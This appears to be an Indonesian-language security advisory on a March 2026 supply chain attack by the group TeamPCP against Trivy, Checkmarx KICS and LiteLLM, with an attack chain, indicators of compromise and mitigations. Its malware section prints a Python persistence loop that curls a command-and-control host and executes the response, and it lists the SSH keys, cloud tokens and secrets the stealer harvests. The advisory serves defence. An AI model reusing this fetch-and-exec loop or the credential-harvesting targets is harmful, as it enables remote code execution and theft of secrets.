TeamPCP: Serangan Supply Chain ke Trivy, KICS, dan LiteLLM — Ribuan SaaS Terdampak
Daftar Isi 7 bagian
Ringkasan
Kelompok threat actor TeamPCP melancarkan serangan supply chain terhadap Trivy, vulnerability scanner open-source populer milik Aqua Security. Serangan ini mengeksploitasi CI/CD pipeline untuk menyisipkan malware infostealer ke dalam binary resmi dan GitHub Actions — berdampak pada lebih dari 1.000 enterprise SaaS.
| Detail | Nilai |
|---|---|
| Aktor | TeamPCP |
| Target Utama | Aqua Security Trivy |
| Target Sekunder | Checkmarx KICS, LiteLLM |
| Vektor | CI/CD compromise, GitHub Actions poisoning |
| Payload | Infostealer + persistence |
| Skala | 1.000+ enterprise terdampak |
| Periode | 19-20 Maret 2026 |
Attack Chain
Serangan TeamPCP adalah textbook supply chain attack yang mengeksploitasi setiap mata rantai distribusi software:
[1] Credential Theft → CI/CD Secrets dicuri
↓
[2] Force Push → Binary berbahaya (v0.69.4) di-push ke GitHub Releases,
Docker Hub, GHCR, ECR
↓
[3] GitHub Actions → aquasecurity/trivy-action & setup-trivy
di-overwrite dengan versi berbahaya
↓
[4] Developer Pull → Workflow CI/CD organisasi korban
otomatis mengeksekusi payload
↓
[5] Credential Harvest → Infostealer mengumpulkan SSH keys,
cloud tokens, K8s secrets
↓
[6] Exfiltration → Data dienkripsi AES-256/RSA-4096,
dikirim ke domain typosquatted
Payload Malware
Malware yang disisipkan memiliki kemampuan:
Credential Harvesting
# Target yang di-scan oleh infostealer:
- SSH private keys (~/.ssh/id_rsa, id_ed25519)
- AWS/GCP/Azure cloud tokens
- Kubernetes secrets & kubeconfig
- GitHub/GitLab personal access tokens
- Cryptocurrency wallet files
- Environment variables (CI/CD secrets)
Eksfiltrasi
- Data dienkripsi AES-256 + RSA-4096
- Dikirim ke domain typosquatted:
scan.aquasecurtiy[.]org(perhatikan typo) - Fallback: membuat repo
tpcp-docsdi akun GitHub korban untuk menyimpan kredensial curian
Persistence
# sysmon.py — systemd service yang di-install oleh malware
# Berjalan di background, polling C2 untuk secondary payload
import subprocess, time
while True:
result = subprocess.run(['curl', '-s', 'https://c2.teampcp[.]io/tasks'], capture_output=True)
if result.stdout:
exec(result.stdout)
time.sleep(3600)
Dampak & Skala
| Metrik | Estimasi |
|---|---|
| Enterprise terdampak | 1.000+ organisasi SaaS |
| Credential terekspos | SSH keys, cloud tokens, CI/CD secrets |
| Durasi exposure | 19-20 Maret 2026 (~36 jam) |
| GitHub Actions terdampak | trivy-action, setup-trivy |
| Binary terdampak | Trivy v0.69.4 (semua platform) |
Organisasi yang menggunakan GitHub Actions dengan version tag (bukan SHA hash) otomatis terdampak tanpa perlu melakukan update apapun — workflow CI/CD mereka langsung mengeksekusi kode attacker.
Ekspansi Kampanye
TeamPCP tidak berhenti di Trivy. Mereka memperluas serangan ke:
- Checkmarx KICS — Infrastructure-as-Code scanner
- LiteLLM — Python package populer untuk AI model routing
Pola serangan identik: compromise maintainer account → poison CI/CD pipeline → push malicious release → harvest credentials dari downstream users.
Indikator Kompromi (IOC)
| Jenis | Value |
|---|---|
| Binary | Trivy v0.69.4 |
| GitHub Action | aquasecurity/trivy-action (all versions during incident) |
| GitHub Action | aquasecurity/setup-trivy (all versions during incident) |
| Domain C2 | scan.aquasecurtiy[.]org |
| Domain C2 | c2.teampcp[.]io |
| Persistence | systemd service: sysmon.py |
Mitigasi
| Prioritas | Tindakan |
|---|---|
| KRITIS | Hapus Trivy v0.69.4 — rollback ke versi sebelumnya |
| KRITIS | Rotasi SEMUA CI/CD secrets, API keys, SSH keys, cloud tokens |
| TINGGI | Pin GitHub Actions ke commit SHA, bukan version tag |
| TINGGI | Audit workflow history untuk eksekusi mencurigakan |
| SEDANG | Cek keberadaan repo tpcp-docs di organisasi GitHub |
| SEDANG | Blokir IOC domain di firewall/DNS |